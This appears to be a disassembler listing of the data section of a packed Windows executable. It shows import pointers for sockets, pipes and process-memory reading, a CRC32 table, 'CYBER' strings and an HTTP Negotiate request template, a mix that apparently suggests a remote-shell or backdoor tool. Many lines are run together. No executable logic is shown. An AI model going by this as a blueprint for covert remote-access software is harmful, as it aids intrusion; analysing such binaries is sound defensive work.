dword_4280E0	dd 7C810D87h	; resolved to->KERNEL32.WriteFile					; sub_40D86F+17Er ...
dword_4280E4	dd 7C8308ADh	; resolved to->KERNEL32.CreateEventAdword_4280E8	dd 7C80180Eh	; resolved to->KERNEL32.ReadFile					; sub_40D86F+4B0r ...
dword_4280EC	dd 7C801A24h	; resolved to->KERNEL32.CreateFileA					; sub_40E453+1CBr ...
dword_4280F0	dd 7C8312E5h	; resolved to->KERNEL32.TransactNamedPipedword_4280F4	dd 7C801E16h	; resolved to->KERNEL32.TerminateProcess					; sub_411355+119r ...
dword_4280F8	dd 7C80DDFEh	; resolved to->KERNEL32.DuplicateHandle					; sub_4115A3+77r ...
dword_4280FC	dd 7C80DDF5h	; resolved to->KERNEL32.GetCurrentProcess					; sub_40EDB1+10Ar ...
dword_428100	dd 7C81E0C7h	; resolved to->KERNEL32.CreatePipe					; sub_4114AA+23r ...
dword_428104	dd 7C83632Dh	; resolved to->KERNEL32.GetTimeFormatA					; sub_41B1FC+1B6r
dword_428108	dd 7C8361EEh	; resolved to->KERNEL32.GetDateFormatA					; sub_41B1FC+19Fr
dword_42810C	dd 7C810A77h	; resolved to->KERNEL32.GetFileSize					; sub_410838+38r ...
dword_428110	dd 7C80EDD7h	; resolved to->KERNEL32.FindClose					; sub_417322+C0r ...
dword_428114	dd 7C80E7ECh	; resolved to->KERNEL32.FileTimeToSystemTime					; sub_4177CF+135r
dword_428118	dd 7C80E866h	; resolved to->KERNEL32.FileTimeToLocalFileTime					; sub_4177CF+123r
dword_42811C	dd 7C834EB1h	; resolved to->KERNEL32.FindNextFileA					; sub_4101B7+5DCr ...
dword_428120	dd 7C810B8Eh	; resolved to->KERNEL32.SetFilePointer					; sub_416398+259r ...
dword_428124	dd 7C81B58Bh	; resolved to->KERNEL32.SetConsoleCtrlHandlerdword_428128	dd 7C80A05Dh	; resolved to->KERNEL32.WaitForMultipleObjectsdword_42812C	dd 7C873A31h	; resolved to->KERNEL32.GenerateConsoleCtrlEventdword_428130	dd 7C80A7D4h	; resolved to->KERNEL32.GetLocalTime					; sub_4157A5+Dr ...
dword_428134	dd 7C80A427h	; resolved to->KERNEL32.QueryPerformanceCounter					; sub_413133+2D4r ...
dword_428138	dd 7C82FA46h	; resolved to->KERNEL32.QueryPerformanceFrequency					; sub_413E88+FFr
dword_42813C	dd 7C80ABDEh	; resolved to->KERNEL32.FreeLibrary					; sub_418D6C+C3r
dword_428140	dd 7C80F0F4h	; resolved to->KERNEL32.GetEnvironmentVariableWdword_428144	dd 7C91043Dh	; resolved to->NTDLL.RtlFreeHeap					; sub_417646+F5r ...
dword_428148	dd 7C9105D4h	; resolved to->NTDLL.RtlAllocateHeap					; sub_4177CF+4Ar ...
dword_42814C	dd 7C80ABC1h	; resolved to->KERNEL32.GetProcessHeap					; sub_4177CF+40r ...
dword_428150	dd 7C80B9A0h	; resolved to->KERNEL32.VirtualQueryEx					; sub_417973+53r
dword_428154	dd 7C8021CCh	; resolved to->KERNEL32.ReadProcessMemory					; sub_417973+95r
dword_428158	dd 7C812D56h	; resolved to->KERNEL32.GetSystemInfo					; sub_417973+2Cr
dword_42815C	dd 7C82F7A0h	; resolved to->KERNEL32.FormatMessageAdword_428160	dd 7C80FE82h	; resolved to->KERNEL32.GlobalUnlockdword_428164	dd 7C80FF19h	; resolved to->KERNEL32.GlobalLockdword_428168	dd 7C80B974h	; resolved to->KERNEL32.UnmapViewOfFiledword_42816C	dd 7C80B905h	; resolved to->KERNEL32.MapViewOfFiledword_428170	dd 7C80945Ch	; resolved to->KERNEL32.CreateFileMappingAdword_428174	dd 7C831CB8h	; resolved to->KERNEL32.SetFileTimedword_428178	dd 7C831C45h	; resolved to->KERNEL32.GetFileTimedword_42817C	dd 7C8329D9h	; resolved to->KERNEL32.ExpandEnvironmentStringsAdword_428180	dd 7C80A0D4h	; resolved to->KERNEL32.WideCharToMultiByte					; sub_423383+20Dr ...
dword_428184	dd 7C809BF8h	; resolved to->KERNEL32.MultiByteToWideChar					; sub_41E034+54r ...
dword_428188	dd 7C80BAA1h	; resolved to->KERNEL32.lstrcmpiAdword_42818C	dd 7C81AE17h	; resolved to->KERNEL32.GetExitCodeProcessdword_428190	dd 7C85F90Fh	; resolved to->KERNEL32.PeekNamedPipedword_428194	dd 7C830B14h	; resolved to->KERNEL32.GetLogicalDrivesdword_428198	dd 7C8310F2h	; resolved to->KERNEL32.GlobalMemoryStatusdword_42819C	dd 7C9179FDh	; resolved to->NTDLL.RtlReAllocateHeap					; sub_41B9D2+22Dr ...
dword_4281A0	dd 7C937A40h	; resolved to->NTDLL.RtlUnwinddword_4281A4	dd 7C8350BFh	; resolved to->KERNEL32.GetTimeZoneInformation					; sub_42501C+38r
dword_4281A8	dd 7C80176Bh	; resolved to->KERNEL32.GetSystemTimedword_4281AC	dd 7C801EEEh	; resolved to->KERNEL32.GetStartupInfoA					; sub_423BE6+59r
dword_4281B0	dd 7C812F1Dh	; resolved to->KERNEL32.GetCommandLineAdword_4281B4	dd 7C8111DAh	; resolved to->KERNEL32.GetVersiondword_4281B8	dd 7C814AF2h	; resolved to->KERNEL32.GetEnvironmentVariableAdword_4281BC	dd 7C810EF8h	; resolved to->KERNEL32.HeapDestroydword_4281C0	dd 7C812BB6h	; resolved to->KERNEL32.HeapCreatedword_4281C4	dd 7C809AE4h	; resolved to->KERNEL32.VirtualFree					; sub_41F176+120r ...
dword_4281C8	dd 7C809A51h	; resolved to->KERNEL32.VirtualAlloc					; sub_41ED85+51r ...
dword_4281CC	dd 7C809E79h	; resolved to->KERNEL32.IsBadWritePtrdword_4281D0	dd 7C812E76h	; resolved to->KERNEL32.GetCPInfo					; sub_4208E8+14r ...
dword_4281D4	dd 7C809915h	; resolved to->KERNEL32.GetACP		dd 0
dword_4281DC	dd 71B2517Fh			dd 0
dword_4281E4	dd 71AB46C9h	; resolved to->WS2_32.getsockoptdword_4281E8	dd 71AB2B66h	; resolved to->WS2_32.ntohs					; sub_412CA4+1F0r
dword_4281EC	dd 71AB3F41h	; resolved to->WS2_32.inet_ntoadword_4281F0	dd 71AB4428h	; resolved to->WS2_32.WSACleanup					; sub_40F8BC+8Er
dword_4281F4	dd 71AB664Dh	; resolved to->WS2_32.WSAStartup					; sub_40F83F+15r
dword_4281F8	dd 71AB4519h	; resolved to->WS2_32.ioctlsocket					; sub_413CEF+6Er ...
dword_4281FC	dd 71AB3E00h	; resolved to->WS2_32.binddword_428200	dd 71AB88D3h	; resolved to->WS2_32.listendword_428204	dd 71AC1028h	; resolved to->WS2_32.acceptdword_428208	dd 71AB8769h	; resolved to->WS2_32.WSASocketAdword_42820C	dd 71AB2B66h	; resolved to->WS2_32.ntohs					; sub_40E71F+36r ...
dword_428210	dd 71AB406Ah	; resolved to->WS2_32.connect					; sub_40E71F+59r ...
dword_428214	dd 71AB3EA1h	; resolved to->WS2_32.setsockopt					; sub_40F23F+5Ar
dword_428218	dd 71AB615Ah	; resolved to->WS2_32.recv					; sub_40DE14+28Br ...
dword_42821C	dd 71AB9639h	; resolved to->WS2_32.closesocket					; sub_40DE14:loc_40E26Ar ...
dword_428220	dd 71AB3B91h	; resolved to->WS2_32.socket					; sub_40DE14+15r ...
dword_428224	dd 71AB428Ah	; resolved to->WS2_32.send					; sub_40DE14+A4r ...
dword_428228	dd 71AB2DC0h	; resolved to->WS2_32.select					; sub_40F23F+106r
dword_42822C	dd 71AB4544h	; resolved to->WS2_32.__WSAFDIsSetdword_428230	dd 71AB951Eh	; resolved to->WS2_32.getsocknamedword_428234	dd 71AB2BF4h	; resolved to->WS2_32.inet_addr					; sub_40E71F+27r ...
		align 10h
dword_428240	dd 0				dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
		dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h,	0E0D5E91Eh
		dd 97D2D988h, 9B64C2Bh,	7EB17CBDh, 0E7B82D07h, 90BF1D91h
		dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh,	1ADAD47Dh
		dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h,	646BA8C0h
		dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h,	0FA0F3D63h
		dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h,	0A2677172h
		dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
		dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
		dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
		dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
		dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
		dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
		dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
		dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh,	0E10E9818h
		dd 7F6A0DBBh, 86D3D2Dh,	91646C97h, 0E6635C01h, 6B6B51F4h
		dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh,	1B01A57Bh
		dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h,	8BBEB8EAh
		dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h,	0FBD44C65h
		dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
		dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
		dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
		dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
		dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
		dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
		dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
		dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
		dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h,	0E40ECF0Bh
		dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h,	8708A3D2h
		dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh,	196C3671h
		dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah,	67DD4ACCh
		dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h,	0D6D6A3E8h
		dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
		dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
		dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
		dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
		dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
		dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
		dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch,	26D930Ah
		dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
		dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh,	0E5D5BE0Dh
		dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h,	68DDB3F8h
		dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h,	18B74777h
		dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch,	8F659EFFh
		dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
		dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
		dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
		dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
		dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
		dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
		dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
aCyber		db 'CYBER',0            ; DATA XREF: sub_401B66+3439o
					; sub_401B66+351Co ...
		align 4
aCyber_0	db 'CYBER',0            ; DATA XREF: sub_401B66+3840o
					; sub_401B66+387Co ...
		align 10h
aGetHttp1_0Host	db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40D082+62o
		db 'Host: %s',0Dh,0Ah
		db 'Authorization: Negotiate %s',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
dbl_428690	dq 1.388888888888889e-2	; DATA XREF: sub_40CE97+2Fr
dbl_428698	dq 1.666666666666667e-1	; DATA XREF: sub_40CE97+15r
dbl_4286A0	dq 1.333333333333333	; DATA XREF: sub_40CEE3+7Ar
dword_4286A8	dd 0							; sub_40D3C2+57o ...
flt_4286AC	dd 5.0e-1		; DATA XREF: sub_40D86F+3A5r
dbl_4286B0	dq 9.765625e-4		; DATA XREF: sub_416975+2B8r
					; sub_416975+2CDr ...
dbl_4286B8	dq -1.52587890625e-4	; DATA XREF: sub_41802F+3D3r
dbl_4286C0	dq 3.0517578125e-4	; DATA XREF: sub_41802F+3B4r
dbl_4286C8	dq -3.0517578125e-4	; DATA XREF: sub_41802F+332r
					; sub_41802F+396r
dbl_4286D0	dq 1.52587890625e-4	; DATA XREF: sub_41802F+26Dr
dbl_4286D8	dq -1.739501953125e-3	; DATA XREF: sub_41802F+248r
					; sub_41802F+2D1r ...
dbl_4286E0	dq 3.11279296875e-3	; DATA XREF: sub_41802F+E1r
dbl_4286E8	dq 3.0517578125e-5	; DATA XREF: sub_41802F+AEr
					; sub_41802F+137r ...
dbl_4286F0	dq 6.103515625e-5	; DATA XREF: sub_41802F+93r
					; sub_41802F+2FDr
dbl_4286F8	dq 2.288818359375e-3	; DATA XREF: sub_41802F+21r
dbl_428700	dq -3.0517578125e-5	; DATA XREF: sub_418E56+2Br
flt_428708	dd 9.765625e-4		; DATA XREF: sub_41ACA2+1B0r
flt_42870C	dd 8.0			; DATA XREF: sub_41ACA2+1AAr
flt_428710	dd 0.0			; DATA XREF: sub_41ACA2+16Fr
flt_428714	dd 1.0e-3		; DATA XREF: sub_41ACA2+166r
dbl_428718	dq 1.0			; DATA XREF: sub_41CE49+6Cr
					; sub_41CF8F+6Cr ...
dword_428720	dd 0FFFFFFFFh, 41E20Ah,	41E21Eha__global_heap_	db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: sub_41E48A+8Eo
		align 4
a__msvcrt_heap_	db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: sub_41E48A+4Fo
		align 4
byte_42875C	db 6			; DATA XREF: sub_41FE9F:loc_41FEF6r
		db 2 dup(0), 6
		dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
		dd 50h,	38282000h, 8075850h, 30303700h,	75057h,	8202000h
		dd 0
		dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
		dd 8000008h, 7000800h, 8
aNull:					; DATA XREF: .packed:off_43F204o
		unicode	0, <(null)>,0
		align 4
aNull_0		db '(null)',0           ; DATA XREF: .packed:off_43F200o
		align 10h
a_yn		db '_yn',0
a_y1		db '_y1',0
a_y0		db '_y0',0
aFrexp		db 'frexp',0
		align 4
aFmod		db 'fmod',0
		align 4
a_hypot		db '_hypot',0
		align 4
a_cabs		db '_cabs',0
		align 4
aLdexp		db 'ldexp',0
		align 4
aModf		db 'modf',0
		align 4
aFabs		db 'fabs',0
		align 4
aFloor		db 'floor',0
		align 4
aCeil		db 'ceil',0
		align 4
aTan		db 'tan',0
aCos		db 'cos',0
aSin		db 'sin',0
aSqrt		db 'sqrt',0
		align 4
aAtan2		db 'atan2',0
		align 10h
aAtan		db 'atan',0
		align 4
aAcos		db 'acos',0
		align 10h
aAsin		db 'asin',0
		align 4
aTanh		db 'tanh',0
		align 10h
aCosh		db 'cosh',0
		align 4
aSinh		db 'sinh',0
		align 10h
aLog10		db 'log10',0
		align 4
aLog		db 'log',0
aPow		db 'pow',0
aExp		db 'exp',0              ; DATA XREF: .packed:off_43F47Co
		align 8
dbl_428888	dq 0.0			; DATA XREF: sub_421B5F+8Cr
					; sub_421B5F+ACr ...
dbl_428890	dq 4.195835e6		; DATA XREF: sub_422074+Fr
dbl_428898	dq 3.145727e6		; DATA XREF: sub_422074+6r
aIsprocessorfea	db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_4220B2+Fo
		align 4
aKernel32	db 'KERNEL32',0         ; DATA XREF: sub_4220B2o
		align 4
aE000		db 'e+000',0            ; DATA XREF: sub_4221D9+93o
		align 10h
dword_4288D0	dd 0FFFFFFFFh, 4228C4h,	4228CEh, 0dword_4288E0	dd 0FFFFFFFFh, 0		dd offset loc_422A4A
		align 10h
		dd offset sub_422A28
		dd offset sub_422A32
dword_4288F8	dd 0FFFFFFFFh, 422C7Ah,	422C7Eh, 0dword_428908	dd 0FFFFFFFFh, 422CDCh,	422CE5h, 0dword_428918	dd 0FFFFFFFFh, 0		dd offset loc_422DAD
		align 8
		dd offset loc_422D99
		dd offset loc_422D9D
dword_428930	dd 0FFFFFFFFh, 0		dd offset loc_422E03
		align 10h
		dd offset loc_422DEF
		dd offset loc_422DF3
dword_428948	dd 2 dup(0)						; sub_424517+39o ...
dword_428950	dd 0FFFFFFFFh, 423493h,	423497h, 0FFFFFFFFh, 423547h, 42354Bh
					; DATA XREF: sub_423383+5o
		dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
		dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
		dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
		dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
		dd 65682065h, 0A0D7061h, 0
aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 4
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 10h
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 4
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 10h
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 4
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 10h
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 10h
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra	db 0Dh,0Ah
		db 'abnormal program termination',0Dh,0Ah,0
		align 10h
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 4
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: .packed:off_43F8CCo
		db '- floating point not loaded',0Dh,0Ah,0
		align 10h
aMicrosoftVisua	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_423EAD+119o
		align 4
asc_428C18	db 0Ah			; DATA XREF: sub_423EAD+F1o
		db 0Ah,0
		align 4
aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: sub_423EAD+D3o
		db 0Ah
		db 'Program: ',0
		align 4
a___		db '...',0              ; DATA XREF: sub_423EAD+BFo
aProgramNameUnk	db '<program name unknown>',0 ; DATA XREF: sub_423EAD+7Do
		align 8
dword_428C58	dd 0FFFFFFFFh, 424610h,	424614haSunmontuewedth	db 'SunMonTueWedThuFriSat',0
		align 4
aJanfebmaraprma	db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
		align 4
aTz		db 'TZ',0               ; DATA XREF: sub_42501C+Ao
		align 4
aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: sub_4256B1+3Do
		align 4
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: sub_4256B1+35o
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: sub_4256B1+24o
a1Qnan		db '1#QNAN',0           ; DATA XREF: sub_425EF2:loc_425FE7o
		align 10h
a1Inf		db '1#INF',0            ; DATA XREF: sub_425EF2+D8o
		align 4
a1Ind		db '1#IND',0            ; DATA XREF: sub_425EF2+C7o
		align 10h
a1Snan		db '1#SNAN',0           ; DATA XREF: sub_425EF2+ADo
		align 4
dword_428CF8	dd 0FFFFFFFFh, 4268EAh,	4268EEh, 0FFFFFFFFh, 426959h, 42695Dh
					; DATA XREF: sub_426733+5o
		dd 428E50h
off_428D14	dd offset loc_426E98	; DATA XREF: sub_426CA0+4Do
					; sub_426EB4+Co
		dd offset sub_426D5E
		dd offset sub_426E7B
aStringTooLong	db 'string too long',0  ; DATA XREF: sub_426CA0+1Eo
		dd offset dword_428E88
off_428D34	dd offset loc_426DC5	; DATA XREF: sub_426CFA+4Eo
					; sub_426D88+11o ...
		dd offset sub_426D5E
		dd offset sub_426D6B
dword_428D40	dd 0FFFFFFFFh						; sub_426DE1+34r
		dd offset dword_428ED8
off_428D48	dd offset loc_426F80	; DATA XREF: sub_426ECC+4Do
					; sub_426F9C+Co
		dd offset sub_426D5E
		dd offset sub_426F63
aInvalidStringP	db 'invalid string position',0 ; DATA XREF: sub_426ECC+1Eo
		dd offset dword_428F08
off_428D70	dd offset sub_427082	; DATA XREF: sub_42709E+8o
					; sub_4270DB+8o ...
		dd offset sub_42713B
aUnknownExcepti	db 'Unknown exception',0 ; DATA XREF: sub_42713B+7o
		align 4
		dd offset dword_428F50
off_428D90	dd offset loc_42715D	; DATA XREF: sub_427148o
					; .packed:off_43FD78o ...
		align 8
dword_428D98	dd 0E06D7363h, 1, 2 dup(0)		dd 3, 19930520h, 2 dup(0)
dword_428DB8	dd 0FFFFFFFFh, 42732Ah,	42732Eh, 0FFFFFFFFh, 4273A7h, 4273ABh
					; DATA XREF: sub_427228+5o
dword_428DD0	dd 0FFFFFFFFh, 42759Fh,	4275A3h, 0FFFFFFFFh, 4275FCh, 427600h
					; DATA XREF: sub_4274B3+5o
		dd 43FD78h, 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
off_428E00	dd offset off_43FD90	; DATA XREF: .packed:00428E34o
					; .packed:00428E68o ...
		dd 1, 0
		dd 0FFFFFFFFh, 2 dup(0)
off_428E18	dd offset off_43FDB0	; DATA XREF: .packed:00428E30o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_428E18
		dd offset off_428E00
		dd offset dword_428DD0+18h
dword_428E3C	dd 3 dup(0)			dd 3, 428E30h, 3 dup(0)
		dd offset off_43FDB0
		dd offset dword_428E3C+4
		dd 0
		dd offset off_428E00
		dd offset dword_428DD0+18h
dword_428E70	dd 4 dup(0)			dd 2, 428E68h
dword_428E88	dd 3 dup(0)			dd offset off_43FD90
		dd offset dword_428E70+8
		align 10h
off_428EA0	dd offset off_43FDD0	; DATA XREF: .packed:00428EB8o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_428EA0
		dd offset off_428E00
		dd offset dword_428DD0+18h
		dd 0
		db    0			; DATA XREF: .packed:00428EE8o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 3, 428EB8h
dword_428ED8	dd 3 dup(0)			dd offset off_43FDD0
		dd offset unk_428EC8
		dd offset dword_428DD0+18h
dword_428EF0	dd 4 dup(0)			dd 1, 428EECh
dword_428F08	dd 3 dup(0)			dd offset off_43FD78
		dd offset dword_428EF0+8
		align 10h
off_428F20	dd offset off_43FDF0	; DATA XREF: .packed:00428F38o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_428F20
dword_428F3C	dd 3 dup(0)			dd 1, 428F38h
dword_428F50	dd 3 dup(0)			dd offset off_43FDF0
		dd offset dword_428F3C+4
		align 8
		dd 0FFFFFFFFh, 427680h,	0
		dd offset sub_427678
dword_428F78	dd 19930520h, 2, 428F68h, 4 dup(0)		dd 0FFFFFFFFh, 4276A4h,	0
		dd offset loc_4276AC
dword_428FA4	dd 19930520h, 2, 428F94h, 4 dup(0)		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 4 dup(0)
		dd offset loc_40D628
		dd 2 dup(0)
		dd 2 dup(1), 428FD0h
dword_428FF4	dd 19930520h, 2, 428FC0h, 1, 428FE0h, 3	dup(0)
					; DATA XREF: .packed:loc_4276C0o
		dd offset off_43FD78
		dd 0
		dd 0FFFFFFFFh, 0
		dd 0Ch,	4270DBh, 2 dup(0)
		dd offset off_43FD90
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	426DE1h, 2 dup(0)
		dd offset off_43FDB0
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	426EB4h, 0
dword_429070	dd 3, 429050h, 429030h,	429010hdword_429080	dd 0							; sub_426E7B+12o
		dd offset sub_426E3E
		dd 0
		dd offset dword_429070
dword_429090	dd 19930520h, 1, 4290B0h, 5 dup(0)		dd 0FFFFFFFFh, 4276CCh
dword_4290B8	dd 19930520h, 1, 4290D8h, 5 dup(0)dword_4290D8	dd 0FFFFFFFFh, 4276E0h,	2, 429030h, 429010h, 0
					; DATA XREF: .packed:004290FCo
dword_4290F0	dd 0				dd offset sub_426D88
		dd 0
		dd offset dword_4290D8+8
dword_429100	dd 19930520h, 1, 429120h, 5 dup(0)		dd 0FFFFFFFFh, 4276F4h
dword_429128	dd 19930520h, 1, 429148h, 5 dup(0)		dd 0FFFFFFFFh, 427708h
dword_429150	dd 19930520h, 1, 429170h, 5 dup(0)		dd 0FFFFFFFFh, 42771Ch,	0
		dd offset off_43FDD0
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	426F9Ch, 0
dword_429198	dd 3, 429178h, 429030h,	429010hdword_4291A8	dd 0							; sub_426F63+12o
		dd offset sub_426F26
		dd 0
		dd offset dword_429198
dword_4291B8	dd 19930520h, 1, 4291D8h, 5 dup(0)		dd 0FFFFFFFFh, 427730h
dword_4291E0	dd 19930520h, 1, 429200h, 5 dup(0)		dd 0FFFFFFFFh, 427744h,	29434h,	2 dup(0)
		dd 294AAh, 281DCh, 2943Ch, 2 dup(0)
		dd 294C0h, 281E4h, 29258h, 2 dup(0)
		dd 29D40h, 28000h, 5 dup(0)
		dd 7C8137D9h, 7C833478h, 7C80A35Eh, 7C80D077h, 7C832044h
		dd 7C80BCCFh, 7C809E01h, 7C84467Dh, 7C80A490h, 7C838A0Ch
		dd 7C812641h, 7C81DC03h, 7C810E51h, 7C812F39h, 7C80CC97h
		dd 7C812F08h, 7C81CF5Bh, 7C814AE7h, 7C81DF77h, 7C862E2Ah
		dd 7C80CCA8h, 7C838DE8h, 7C9109EDh, 7C812A09h, 7C8127A7h
		dd 7C802442h, 7C81CDDAh, 7C809B47h, 7C802367h, 7C80B4CFh
		dd 7C814EEAh, 7C810637h, 7C831EABh, 7C8309E1h, 7C809920h
		dd 7C910331h, 7C8286EEh, 7C812782h, 7C81153Ch, 7C80B6A1h
		dd 7C802520h, 7C80E93Fh, 7C80929Ch, 7C81CE03h, 7C835DCAh
		dd 7C835E8Fh, 7C801D77h, 7C80ADA0h, 7C8216A4h, 7C80D262h
		dd 7C812ADEh, 7C80C058h, 7C9010EDh, 7C901005h, 7C80B829h
		dd 7C91188Ah, 7C810D87h, 7C8308ADh, 7C80180Eh, 7C801A24h
		dd 7C8312E5h, 7C801E16h, 7C80DDFEh, 7C80DDF5h, 7C81E0C7h
		dd 7C83632Dh, 7C8361EEh, 7C810A77h, 7C80EDD7h, 7C80E7ECh
		dd 7C80E866h, 7C834EB1h, 7C810B8Eh, 7C81B58Bh, 7C80A05Dh
		dd 7C873A31h, 7C80A7D4h, 7C80A427h, 7C82FA46h, 7C80ABDEh
		dd 7C80F0F4h, 7C91043Dh, 7C9105D4h, 7C80ABC1h, 7C80B9A0h
		dd 7C8021CCh, 7C812D56h, 7C82F7A0h, 7C80FE82h, 7C80FF19h
		dd 7C80B974h, 7C80B905h, 7C80945Ch, 7C831CB8h, 7C831C45h
		dd 7C8329D9h, 7C80A0D4h, 7C809BF8h, 7C80BAA1h, 7C81AE17h
		dd 7C85F90Fh, 7C830B14h, 7C8310F2h, 7C9179FDh, 7C937A40h
		dd 7C8350BFh, 7C80176Bh, 7C801EEEh, 7C812F1Dh, 7C8111DAh
		dd 7C814AF2h, 7C810EF8h, 7C812BB6h, 7C809AE4h, 7C809A51h
		dd 7C809E79h, 7C812E76h, 7C809915h, 0
		dd 71B2517Fh, 0
		dd 71AB46C9h, 71AB2B66h, 71AB3F41h, 71AB4428h, 71AB664Dh
		dd 71AB4519h, 71AB3E00h, 71AB88D3h, 71AC1028h, 71AB8769h
